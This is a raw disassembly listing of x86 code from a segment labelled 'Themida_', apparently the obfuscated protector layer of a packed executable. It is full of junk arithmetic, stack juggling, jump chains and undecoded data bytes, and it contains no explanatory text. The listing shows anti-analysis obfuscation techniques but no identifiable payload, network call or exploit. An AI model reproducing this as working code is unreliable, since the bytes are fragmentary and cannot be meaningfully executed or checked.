		pop	edi
		mov	esi, ecx
		pop	ecx
		shl	esi, 7
		not	esi
		push	ebp
		mov	ebp, 26283E00h
		jmp	loc_548639
; ---------------------------------------------------------------------------
aAiipsbn	db '(ÀëiPébN',0
		dd 87D3F700h, 0FFEE83DEh, 0AA8E9h
		db 0
; ---------------------------------------------------------------------------

loc_547EC5:				; CODE XREF: Themida_:0054D13Ej
		add	esp, 4
		jmp	loc_550017
; ---------------------------------------------------------------------------
		db 0BAh, 1Eh, 36h
aX6hN		db 'X6hÎn',0
		dw 0E900h
		dd 93E9h, 8530A2BEh, 7E6C12Ah, 0EE81D6F7h, 1C7A34CAh, 7BD0E946h
		dd 0FF560000h, 5E042474h, 8B24048Fh, 0BF0F2424h, 585450C8h
		dd 331EE9h, 0D5F75A00h,	7F20E581h, 0B850552Ch, 68E607C3h
		dd 1F12E9h
		db 0
; ---------------------------------------------------------------------------

loc_547F1D:				; CODE XREF: Themida_:00547F50j
		xchg	eax, esi
		push	446Ch
		mov	[esp], ebp
		push	1
		push	dword ptr [esp]
		jmp	loc_550930
; ---------------------------------------------------------------------------
		db 0BBh
		dd 30FD3D06h, 0DBF7D3F7h, 0A5C38143h, 31F3433Ch, 0A532E9DDh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547F4A:				; CODE XREF: Themida_:00548FE8j
		xchg	ebp, [esp]
		pop	ebp
		xchg	ebp, esi
		jmp	loc_547F1D
; ---------------------------------------------------------------------------

loc_547F55:				; CODE XREF: Themida_:0054785Aj
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	ebx
		push	esp
		jmp	loc_54A3D6
; ---------------------------------------------------------------------------
		db 0B8h
		dd 46EA68D6h, 0FFFFFF05h, 4E8C1FFh, 179BE9h, 9BE95400h
		dd 81000019h, 4ECh, 24148900h, 0ED2AC068h, 0F2815A1Eh
		dd 1EED2AC2h, 0E9645D2Dh, 3BDAE93Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_547F9E:				; CODE XREF: Themida_:0054BFDFj
		mov	eax, 4
		add	ecx, eax
		pop	eax
		add	ecx, 4
		jmp	loc_549ECD
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0FFFF14E9h, 240481FFh, 5BFF2328h, 0D6F3815Bh, 8157467Dh
		dd 4964EBF3h, 5BDE01BBh, 1916E9h, 0D42C00h, 0F22DE9E8h
		dd 0C586FFFFh, 0FCE9D8F6h, 1FFFFE3h, 0E9D2DE8h,	81E93C58h
		dd 50000093h, 0F48083B4h, 99EA8099h, 94E9E228h,	31000002h
		dd 3C33243Ch, 24248B24h, 0C73E9h, 0EBE98000h, 586AE9h
		dd 11990D00h, 1C351E37h, 31AA0BE3h, 0F83158C7h,	81243C8Bh
		dd 4C4h, 2C815000h, 0C7357124h,	38428F3Eh, 71384281h, 0FF3EC735h
		dd 83582434h, 0B85004C4h, 30h, 0B951D001h, 36EA7CA6h, 6D56BB53h
		dd 0EB815F9Ch, 2BF33C31h, 511BEB81h, 4EE91F71h,	28000054h
		dd 5A84E9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_548076:				; CODE XREF: Themida_:0054AF05j
		or	eax, eax
		jz	loc_54C003
		push	dword ptr [edi+1Ch]
		jmp	loc_548A9C
; ---------------------------------------------------------------------------
		dw 0F001h
		dd 1941E9h
		db 0
; ---------------------------------------------------------------------------

loc_54808D:				; CODE XREF: Themida_:0054CB9Bj
		push	16DBh
		mov	[esp], ebp
		mov	ebp, ebx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, ebp
		mov	eax, esi
		pop	esi
		jmp	loc_54B578
; ---------------------------------------------------------------------------

loc_5480AA:				; CODE XREF: Themida_:0054BFF8j
		push	17F2h
		mov	[esp], eax
		jmp	loc_54D7D7
; ---------------------------------------------------------------------------
		db 89h
		dd 4C681E6h, 83000000h,	348704C6h, 0EC835C24h, 0C896602h
		dd 8EB75324h, 2D6BE9h, 0E9CB8800h, 671h, 6624248Bh, 50241489h
		dd 0A9B23DB0h, 3058C228h, 3DD7E9D0h, 34870000h,	34895C24h
		dd 4BE24h, 0F5010000h, 2ED815Eh, 87000000h, 83E9242Ch
		dd 68000057h, 32D9h, 0B8240489h, 4A563D90h, 24A4E9h, 0BDE95B00h
		dd 0E9000030h, 0FFFFDF12h, 0B6241489h, 88E68032h, 80B1F680h
		dd 0DEF6D3CEh, 3716E9h,	0E9526600h, 71A8h, 0BABF575Fh
		dd 812D7E26h, 912C1ECFh, 0DEE7814Eh, 8113A627h,	8238DBF7h
		dd 81DFF764h, 0E7A800F7h, 38A5E9A8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54816E:				; CODE XREF: Themida_:00547773j
		xchg	ecx, edi
		not	ecx
		xchg	ecx, edi
		add	edi, 32D2932Fh
		and	edx, edi
		pop	edi
		shr	edx, 5
		xor	edx, 3803D11Eh
		mov	edi, edx
		jmp	loc_55184F
; ---------------------------------------------------------------------------
aR47YLDZbsorbB2	db 'Rº47<Y»ÅL',7,'¤)ÓZéŽR!Áß2§H)ÙéæU',0
		align 2

loc_5481AE:				; CODE XREF: Themida_:00551060j
		push	ecx
		jmp	loc_549E70
; ---------------------------------------------------------------------------

loc_5481B4:				; CODE XREF: Themida_:00548604j
		push	1C5h
		mov	[esp], edi
		mov	edi, 0FFFFh
		and	eax, edi
		push	dword ptr [esp]
		jmp	loc_5503FA
; ---------------------------------------------------------------------------
		db 81h
		dd 7D70E6EDh, 8BE83134h, 0C483242Ch, 30FF6604h,	0FFDE5DE9h
		dd 69C380FFh, 805AB252h, 0C280B1C2h, 0C6C280ADh, 805ACA80h
		dd 0D32899F2h, 6B6CE95Ah, 48B0000h, 666A6824h, 0C890000h
		dd 50595424h, 4B8h, 0E9C10100h,	2D97h
		db 53h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	dh, 0D0h
		jmp	loc_552404
; ---------------------------------------------------------------------------
		dw 0CD01h
		dd 81240C8Bh, 4C4h, 5DEE0100h, 0FFFB72E9h, 0BBE951FFh
		dd 8100007Dh, 4C3h, 241C8700h, 4512685Ch, 3C890000h, 57F26824h
		dd 3C8B4D78h, 4C48124h,	68000000h, 9D0h, 0E9240C89h, 3F4Fh
		dd 102C4A0Ch, 6B99E9h
		db 0
; ---------------------------------------------------------------------------

loc_548285:				; CODE XREF: Themida_:00547D90j
		add	esp, 4
		jmp	loc_54EDAA
; ---------------------------------------------------------------------------
aS_6		db '³Ãé³>',0
		dw 8000h
		dd 48B99C2h, 4C48124h, 66000000h, 2868B753h, 515B66FAh
		dd 0E800BEB5h, 0E9D00059h, 3607h
; ---------------------------------------------------------------------------

loc_5482B8:				; CODE XREF: Themida_:0054C72Dj
		dec	ebp
		jmp	loc_550FBB
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 0EA94CB7h, 0FFF78CE9h, 0E08950FFh, 405h, 4E88300h, 0FFF110E9h
		dd 240C89FFh, 1653E9h, 24148B00h, 815E5456h, 4C6h, 4C68100h
		dd 87000000h, 8F5C2434h, 248B2404h, 242CD324h, 0DD38E99Ch
		dd 0C083FFFFh, 0F9DEE904h, 0E089FFFFh, 405h, 42D00h, 4870000h
		dd 34895C24h, 3CD9BE24h, 0B9E912A6h, 5B000085h,	0FFECE0E9h
		dd 0E9D101FFh, 3CFCh, 4C681h, 0ECE90000h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548343:				; CODE XREF: Themida_:005498A4j
		push	edx
		mov	edx, 3AA3055Ah
		sub	ebx, edx
		pop	edx
		jmp	loc_548EAF
; ---------------------------------------------------------------------------
		db 5Bh,	0C1h, 0E7h
		dd 0EFEF8106h, 0E933237Ch, 5603h
; ---------------------------------------------------------------------------

loc_548360:				; CODE XREF: Themida_:0054F2ADj
		sub	eax, 1C17816Ch
		add	ebp, eax
		jmp	loc_54DC90
; ---------------------------------------------------------------------------
		dd 0C681E689h, 4, 2565E9h
		db 0
; ---------------------------------------------------------------------------

loc_548379:				; CODE XREF: Themida_:00549BBCj
		xchg	edi, ebp
		pop	edi
		and	ebp, 4E2E6590h
		sub	ebp, 42623FCh
		sub	ebx, 25B778FAh
		add	ebx, ebp
		add	ebx, 25B778FAh
		jmp	loc_54E9C4
; ---------------------------------------------------------------------------
		db 59h
		dd 8B241487h, 4302424h,	93E99C24h
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5483AB:				; CODE XREF: Themida_:0054687Aj
		xor	dword ptr [esp], 7FD87C87h
		jmp	loc_54C8AA
; ---------------------------------------------------------------------------
		align 4
		dd 0FD63E9D8h, 5A5BFFFFh, 8324048Bh, 0EC8104C4h, 4, 36F2E9h
		dd 0EF895E00h, 1B65E9h,	88C38800h, 241C8BD9h, 5804C483h
		dd 0C8BC828h, 4C48324h,	4EC8151h, 0E9000000h, 0FFFFFD34h
		dd 0D0F6F888h, 64E95251h, 5300004Dh, 30E95B5Fh,	68000081h
		dd 27AEh, 0B6241489h, 0ABEE80D4h, 30D2B353h, 3EE95BDEh
		dd 5000052h, 10B6910h, 102DE801h, 2D010B69h, 1C087020h
		dd 5D2434FFh, 4C481h, 0D8290000h, 328ABA52h, 0CA81087Bh
		dd 313A23F3h, 4221E9h, 0E9D6B700h, 7495h, 518734FFh, 34B5BF57h
		dd 4F4F4CF4h, 32A0E9h, 26462500h, 93051853h, 0E9029272h
		dd 11F4h, 0C10709BDh, 0D7EA8116h, 29379322h, 403DE9EAh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54848A:				; CODE XREF: Themida_:00548E52j
		add	esp, 4
		and	edi, 7CEA75A3h
		sub	edi, 1
		not	edi
		shl	edi, 3
		add	edi, 5977BEC8h
		xor	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		sub	[edi+24h], ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_549165
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0C7h
		dd 4, 46CF68h, 24048900h, 2B8h,	0FFC70100h, 81582434h
		dd 4C4h, 5BDA6800h, 3C890000h, 2474FF24h, 243C8B04h, 0E904C483h
		dd 7D78h, 0B850C701h, 69D9114Eh, 70D5E9h, 0DB38E900h, 3489FFFFh
		dd 4EDFBE24h, 0BE9597Fh, 0FF000022h, 0CCE92434h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54851B:				; CODE XREF: Themida_:0054C8C4j
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		or	[esp], eax
		pushf
		jmp	loc_54603E
; ---------------------------------------------------------------------------
		db 31h
		dd 0E9DE31F3h, 0FFFFF985h, 46F680h, 4630E9F0h, 0CF310000h
		dd 19685359h, 5B336F14h, 32E9DF31h, 0BB000030h,	1BD417E5h
		dd 6647F381h, 0E3C110EAh, 3EC6807h, 34890000h, 398BE24h
		dd 0DE92CE4h
		db 13h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54856F:				; CODE XREF: Themida_:00546E43j
		mov	edi, ecx
		pop	ecx
		sub	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_548D40
; ---------------------------------------------------------------------------

loc_548591:				; CODE XREF: Themida_:0054FB7Dj
		or	edi, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54A0DA
; ---------------------------------------------------------------------------

loc_5485A1:				; CODE XREF: Themida_:0054F81Aj
		mov	[esp], ebp
		mov	ebp, ebx
		push	742Ah
		mov	[esp], ecx
		mov	ecx, ebp
		mov	eax, ecx
		pop	ecx
		jmp	loc_550A81
; ---------------------------------------------------------------------------
aTsF		db 'Té',0Dh,'f',0
		align 2
		dw 158h
		dd 69C281CAh, 0E94E0731h, 0FFFFFDCFh, 5DE9E829h, 68000064h
		dd 59ADh, 0BE243489h, 32E94C7Ch, 34FFF001h, 65E95E24h
		db 5Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5485EB:				; CODE XREF: Themida_:00549E7Bj
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_54E295
; ---------------------------------------------------------------------------

loc_5485F6:				; CODE XREF: Themida_:00546468j
		shl	ecx, 8
		shr	ecx, 1
		add	ecx, 0FA3AFCF8h
		xor	eax, ecx
		pop	ecx
		jmp	loc_5481B4
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 0E9000000h, 6555h
; ---------------------------------------------------------------------------

loc_548614:				; CODE XREF: Themida_:0054CA01j
		add	ecx, ebx
		pop	ebx
		add	ecx, 4
		push	5075h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		jmp	loc_54FDCB
; ---------------------------------------------------------------------------

loc_54862B:				; CODE XREF: Themida_:005504A6j
		mov	ch, bh
		mov	al, ch
		pop	ecx
		mov	dl, al
		pop	eax
		pop	ebx
		jmp	loc_54BFF5
; ---------------------------------------------------------------------------

loc_548639:				; CODE XREF: Themida_:00547EA9j
		add	esi, ebp
		pop	ebp
		jmp	loc_54B964
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 24h
		dd 0D9F4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54864A:				; CODE XREF: Themida_:0054AFAAj
		sub	ebx, 73914E68h
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [eax]
		jmp	loc_54603E
; ---------------------------------------------------------------------------
		dd 2C381h, 1C330000h, 241C3124h, 5C241C33h, 240C8B66h
		dd 4E8E68h, 24148900h, 0C281E289h, 4, 2BB53h, 0EA810000h
		dd 68F60A19h, 394FEA81h, 17E95BD1h, 66000000h, 6A33EF81h
		dd 66DF0166h, 6A33C781h, 0F3C78166h, 39C9E955h,	0C2810000h
		dd 68A04D99h, 0BF57DA01h, 431A2EBBh, 679CEF81h,	1DE91B0Eh
		dd 0BE000019h, 70ED361Ah, 348BF509h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	ebp, 44107FA7h
		neg	ebp
		jmp	loc_54F303
; ---------------------------------------------------------------------------

loc_5486F5:				; CODE XREF: Themida_:0054EDC8j
		mov	ebx, 0BB573D5h
		sub	ebx, 0BB573D3h
		push	edi
		mov	edi, 44B92FDDh
		dec	edi
		dec	edi
		sub	edi, 0DFEEF555h
		jmp	loc_54AFFB
; ---------------------------------------------------------------------------

loc_548713:				; CODE XREF: Themida_:0054E8EBj
		pop	edi
		jmp	loc_54A221
; ---------------------------------------------------------------------------
		db 58h,	31h, 0F2h
		dd 1996E9h, 243C8900h, 0EA5223BFh, 81D7F727h, 0F9211BCFh
		dd 4E7C11Ch, 15D5EF81h,	0EF8107CDh, 0CB0DC841h,	24348157h
		dd 4F7828E7h, 79EDE9h, 42E95900h, 8700006Dh, 248B2434h
		dd 4FF6624h, 0B5E99C24h, 0F00005Dh, 0EF68C8B7h,	0E9000055h
		dd 818Bh, 0C676A2B9h, 5E24E978h, 34FF0000h, 2434FF24h
		dd 5610E9h, 81E68900h, 4C6h, 15F56800h,	1C890000h, 2BB24h
		dd 0B9510000h, 44BA7C1Ah, 3F0FE9h, 0C2815F00h, 5BD1394Fh
		dd 2EEAB951h, 0E1C15394h, 0EE95507h, 81000074h,	0E24C36C7h
		dd 8EFC147h, 0C16BB53h,	0E94B080Dh, 672Fh
; ---------------------------------------------------------------------------

loc_5487D0:				; CODE XREF: Themida_:005507FCj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	ebx, 75435F9Ch
		shl	ebx, 3
		sub	ebx, 0AA1AFCDCh
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		jmp	loc_54F44C
; ---------------------------------------------------------------------------
		db 1, 0DFh, 5Bh
		dd 15FFB31h, 39E95BDAh,	4700004Ch, 0FFFFEF81h, 0C781FFFFh
		dd 2C8CE220h, 815FFD21h, 242EF7F5h, 68515322h, 33F27DB7h
		dd 2FF18159h, 0C154376Eh, 0F18105E9h, 0A3E1522h, 2AE9CB89h
		dd 58000080h, 4E28CF81h, 0CF813835h, 484E06DDh,	0FFDBE2E9h
		dd 241489FFh, 4BDBD8BAh, 8BD0294Ch, 74E92414h, 0FF000064h
		dd 0E9042474h, 921Ch
; ---------------------------------------------------------------------------

loc_548870:				; CODE XREF: Themida_:0054FB0Dj
		or	eax, eax
		jz	loc_549165
		sub	esp, 4
		jmp	loc_54B49A
; ---------------------------------------------------------------------------
aIcsZ		db '‰æé¾Z',0
		dw 2800h
		dd 240C8BC8h, 5304C483h, 0FFF9FBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_548895:				; CODE XREF: Themida_:0054CEDEj
		mov	edx, 793B040Bh
		push	edi
		mov	edi, edx
		mov	esi, edi
		jmp	loc_547436
; ---------------------------------------------------------------------------
aBIIYsq2	db 'Á‰Ú,œ‰ÈYéQ2',0
		align 2
		dw 0C8Bh
aSfk		db '$éfk',0
		align 2
		dw 0C381h
		dd 398211B9h, 58D0BF57h, 0E7810199h, 32F07F0Eh,	0FFDBD5E9h
		dd 0C6C381FFh, 0E9256828h, 1353h, 0EF03E958h, 3433FFFFh
		dd 35D9E924h, 56BE0000h, 19B584Bh, 0C6815AD6h, 485E4F26h
		dd 32E9h, 2BBF5700h, 2952955Eh,	8B08247Ch, 72E9243Ch, 0E900002Ah
		dd 0FFFFD72Ah, 592434FFh, 8184E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54891E:				; CODE XREF: Themida_:0054EC93j
		push	bx
		mov	bh, 0A8h
		jmp	loc_54B516
; ---------------------------------------------------------------------------
		db 59h
		dd 8AE9F0B7h, 81000027h, 92C191F6h, 4EC8320h, 0E9240489h
		dd 78AEh
; ---------------------------------------------------------------------------

loc_548940:				; CODE XREF: Themida_:00552162j
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	eax, 34BB1B84h
		sub	[esp+4], eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		pop	eax
		push	edi
		mov	edi, 34BB1B84h
		jmp	loc_54A7EF
; ---------------------------------------------------------------------------
		db 46h,	55h, 0BDh
		dd 5356B4CEh, 15DEE31h,	0ADE95EF7h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54897F:				; CODE XREF: Themida_:00548D0Dj
		pop	ecx
		sub	ebx, eax
		add	ebx, 2EDE382Fh
		jmp	loc_5490A5
; ---------------------------------------------------------------------------
		db 0B8h, 5Ch, 12h
		dd 0C68160CEh, 63F4CCEh, 0E952C601h, 4AA2h, 402AE981h
		dd 0C10147C6h, 402ABA52h, 0D10147C6h, 8EBAE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5489B6:				; CODE XREF: Themida_:00548D5Cj
		not	edx
		inc	edx
		add	edx, 602B115Eh
		push	edx
		pop	ecx
		pop	edx
		and	eax, ecx
		jmp	loc_55189C
; ---------------------------------------------------------------------------
aZsn		db 'Zén',27h,0
		dw 900h
		dd 24048BC3h, 4C481h, 0B8500000h, 7F5A7364h, 6E5CBD55h
		dd 0ED810D23h, 11137C53h, 0DB2C581h, 0A8E9010Ch, 81000046h
		dd 4C3h, 4EB8100h, 53000000h, 42474FFh,	81241C8Bh, 4C4h
		dd 24048F00h, 2434895Ch, 0F0512068h, 7BBCE925h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_548A22:				; CODE XREF: Themida_:0054D948j
		add	ebp, 4
		jmp	loc_54E593
; ---------------------------------------------------------------------------

loc_548A2D:				; CODE XREF: Themida_:0055058Dj
		add	esp, 4
		jmp	loc_551428
; ---------------------------------------------------------------------------

loc_548A35:				; CODE XREF: Themida_:00547BF6j
		movsx	cx, al
		push	small 5EACh
		mov	[esp], cx
		jmp	loc_54603E
; ---------------------------------------------------------------------------
aBQ??srt	db 'ÆŸ?#?érT',0
		db 0
; ---------------------------------------------------------------------------

loc_548A51:				; CODE XREF: Themida_:0054CE21j
		pop	esp
		cmp	cx, ax
		pushf
		jmp	loc_54603E
; ---------------------------------------------------------------------------
		db 54h
		dd 0EF7BE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548A62:				; CODE XREF: Themida_:0054CDD5j
		pop	esp
		div	cl
		jmp	loc_5516AB
; ---------------------------------------------------------------------------
		dw 514Eh
		dd 7813E9h, 3E026800h, 6FE90000h, 5700007Ch, 8C648ABFh
		dd 0C3E7812Eh, 81205920h, 6E65FFEFh, 94ACE908h,	0DD050000h
		dd 0E923DB42h, 79EEh
; ---------------------------------------------------------------------------

loc_548A9C:				; CODE XREF: Themida_:00548081j
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_546934
; ---------------------------------------------------------------------------
		db 28h
		dd 0C3305BD8h, 8904EC83h, 0C388241Ch, 505B5453h, 0FFDC67E9h
		dd 0E9C1FEFFh, 941Fh, 405h, 5336E900h, 0E1890000h, 0FFD6F7E9h
		dd 0C2815DFFh, 43D40B49h, 0C5A6C281h, 0D5299C94h, 92CCE95Ah
		dd 0C7890000h, 5FFD0158h, 2BE56h, 0E9510000h, 8DF8h
; ---------------------------------------------------------------------------

loc_548AFC:				; CODE XREF: Themida_:00546D2Dj
		pop	esp
		jmp	loc_54D710
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8956240Ch, 4C681E6h,	57000000h, 8016E9h, 44BCB800h
		dd 44292DB3h, 81580424h, 4ECh, 241C8900h, 4A5368h, 242C8900h
		dd 6C07FD68h, 3252E96Ch, 0E0C10000h, 2BE94803h,	8100004Dh
		dd 0AD04246Ch, 179B27Fh, 8104245Ch, 0AD042444h,	0E979B27Fh
		dd 0FFFFE2ECh, 148B665Ch, 67D3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_548B66:				; CODE XREF: Themida_:0054B75Bj
		pop	eax
		and	eax, edx
		mov	edx, [esp]
		push	4FBAh
		jmp	loc_546605
; ---------------------------------------------------------------------------

loc_548B76:				; CODE XREF: Themida_:0054E077j
		add	esp, 4
		push	1DB1h
		mov	[esp], ebx
		jmp	loc_551552
; ---------------------------------------------------------------------------

loc_548B86:				; CODE XREF: Themida_:0055047Bj
		push	ebp
		push	eax
		mov	eax, 1679431Dh
		mov	ebp, 37640F0Dh
		xor	ebp, eax
		pop	eax
		xor	ebp, 344A3F4Ch
		dec	ebp
		inc	ebp
		sub	ebp, 30750158h
		jmp	loc_54C843
; ---------------------------------------------------------------------------

loc_548BA8:				; CODE XREF: Themida_:00549A4Dj
		pop	ecx
		push	edx
		mov	edx, 14BA61D4h
		inc	edx
		jmp	loc_54CF2C
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 87000000h, 555C2434h, 0FFF054E9h, 0F7BD55FFh, 8925096Fh
		dd 0D5DFE9EEh, 0EB31FFFFh, 0E9242C8Bh, 5BC6h, 178268h
		dd 24148900h, 42474FFh,	0FFF6F4E9h, 0EA6851FFh,	59311507h
		dd 8107E9C1h, 5B686E9h,	0FFCD89BEh, 83592434h, 0FD8704C4h
		dd 1DF6E9h, 719BB00h, 0E3812B4Ch, 25EE424Ch, 2404FF53h
		dd 34EB815Bh, 0E9091441h, 88FBh
; ---------------------------------------------------------------------------

loc_548C28:				; CODE XREF: Themida_:0054C028j
		push	32B7h
		mov	[esp], edi
		mov	edi, 3EB27E16h
		jmp	loc_54BFA4
; ---------------------------------------------------------------------------
		dw 0BD68h
		dd 8900001Fh, 0EC83240Ch, 24248904h, 4240481h, 59000000h
		dd 4EC81h, 2C890000h, 3300E924h, 0DBE90000h, 81FFFFD3h
		dd 0D713C7C1h, 0D1F7493Eh, 8166E9h, 80EB0000h, 5966ACC3h
		dd 62BAE9h, 0E9FA8900h,	719Ch, 9C240408h, 0FFD3B1E9h, 240481FFh
		dd 4, 4BB5358h,	1000000h, 6496E9D8h, 97E90000h
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548CA7:				; CODE XREF: Themida_:00546331j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_54AF0A
; ---------------------------------------------------------------------------
aULs		db 'U½Ú(',0Dh,'Lé:;',0
		db 0
; ---------------------------------------------------------------------------

loc_548CC7:				; CODE XREF: Themida_:00547447j
		push	ecx
		mov	ecx, 0E1F4F4Eh
		add	ecx, 3EA21005h
		or	esi, ecx
		pop	ecx
		push	esi
		inc	dword ptr [esp]
		pop	esi
		sub	esi, 0C384D9Eh
		sub	edi, esi
		pop	esi
		add	ebx, edi
		pop	edi
		push	ecx
		mov	ecx, 259E65C2h
		and	ecx, 26A42A9h
		sub	ecx, 0CBE79F7h
		add	ecx, 485E0338h
		xor	ecx, 1B986183h
		sub	ecx, 0F1537013h
		sub	ebx, ecx
		jmp	loc_54897F
; ---------------------------------------------------------------------------

loc_548D12:				; CODE XREF: Themida_:005476E8j
		push	edi
		mov	edi, 3CD000Ah
		sub	edi, 0B4165CAh
		shl	edi, 1
		shl	edi, 3
		shr	edi, 3
		and	edi, 465F12E1h
		xor	edi, 171081h
		jmp	loc_54ED0C
; ---------------------------------------------------------------------------

loc_548D37:				; CODE XREF: Themida_:0054EBF7j
		movzx	cx, al
		jmp	loc_54F227
; ---------------------------------------------------------------------------

loc_548D40:				; CODE XREF: Themida_:0054858Cj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	eax, 22020ECBh
		push	ecx
		push	edx
		push	5FAB115Eh
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5489B6
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 9BE90000h, 81FFFFF5h, 0BE4F70CEh, 0E9DE316Dh, 0FFFFF7B3h
		dd 2434FF54h, 2D0CE9h, 4C78100h, 0E9000000h, 46CCh, 2C8BEE31h
		dd 0E6895624h, 4C681h, 0C6830000h, 24348704h, 1C77095Ch
		dd 5124348Bh, 0C181E189h, 4, 8704C183h,	0B7E9240Ch, 57000089h
		dd 5E5A30BFh, 81DFF75Eh, 5E5A34C7h, 5FF9015Eh, 4C181h
		dd 0C870000h, 0EC815C24h, 4, 0FF240C89h, 59042474h, 8B24048Fh
		dd 0F662424h, 6866C8B6h, 8966321Bh, 43E9240Ch
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548DFB:				; CODE XREF: Themida_:0054A6E4j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_54B937
; ---------------------------------------------------------------------------
		dw 431h
		dd 24043324h, 0D561E95Ch, 0BE56FFFFh, 0F6D91EE8h, 0AAE9F501h
		dd 64FFFFF5h, 0FE9028Fh
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_548E2F:				; CODE XREF: Themida_:0054C480j
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	168Eh
		mov	[esp], edi
		push	eax
		push	esi
		mov	esi, 396A0390h
		mov	eax, 36A80248h
		xor	eax, esi
		jmp	loc_54A227
; ---------------------------------------------------------------------------

loc_548E51:				; CODE XREF: Themida_:005497F9j
		pop	edi
		jmp	loc_54848A
; ---------------------------------------------------------------------------

loc_548E57:				; CODE XREF: Themida_:0054FF20j
		add	eax, 347C5D95h
		add	eax, edx
		sub	eax, 347C5D95h
		sub	eax, 3BAB643Eh
		pop	edx
		jmp	loc_54A8B8
; ---------------------------------------------------------------------------
		dw 0C829h
		dd 912E9h, 58C58900h, 84E9DDF7h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_548E7F:				; CODE XREF: Themida_:0054C295j
		push	ebp
		push	233Dh
		push	esp
		pop	dword ptr [esp]
		push	5DB5h
		mov	[esp], edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		pop	ebp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_54F9AE
; ---------------------------------------------------------------------------

loc_548EAF:				; CODE XREF: Themida_:0054834Cj
		sub	ebx, eax
		add	ebx, 3AA3055Ah
		push	ebp
		jmp	loc_54AAA2
; ---------------------------------------------------------------------------

loc_548EBD:				; CODE XREF: Themida_:005460FBj
		mov	ebp, 67661B55h
		xor	ebp, 67661B51h
		jmp	loc_547652
; ---------------------------------------------------------------------------

loc_548ECD:				; CODE XREF: Themida_:00547143j
		pop	ebx
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		jmp	loc_547847
; ---------------------------------------------------------------------------
		db 0F7h
aBakdSscf	db 'Õ튄{‘é–”',0
		align 4

loc_548EE8:				; CODE XREF: Themida_:0054F5B4j
		mov	cl, [esp]
		add	esp, 2
		push	eax
		mov	al, 0CAh
		xor	cl, al
		pop	eax
		xor	cl, 0C4h
		xor	al, cl
		jmp	loc_550FA2
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 4C281h, 0C2810000h, 2, 0FFFCC7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_548F15:				; CODE XREF: Themida_:0054C011j
		push	ebp
		mov	ebp, 53084C71h
		jmp	loc_54C02D
; ---------------------------------------------------------------------------
		dd 8FE6815Ch, 81570A7Eh, 2E3273CEh, 5CEE812Ah, 81BD7B05h
		dd 825155EFh, 52F70144h, 825155BAh, 5AD70144h, 5AC7815Eh
		dd 12C9B3Eh, 5AEF81CFh,	682C9B3Eh, 4061h, 0B8240489h, 7DB3751Fh
		dd 0FD58C729h, 2B74BD55h, 0E58113A4h, 635B00B1h, 8F16850h
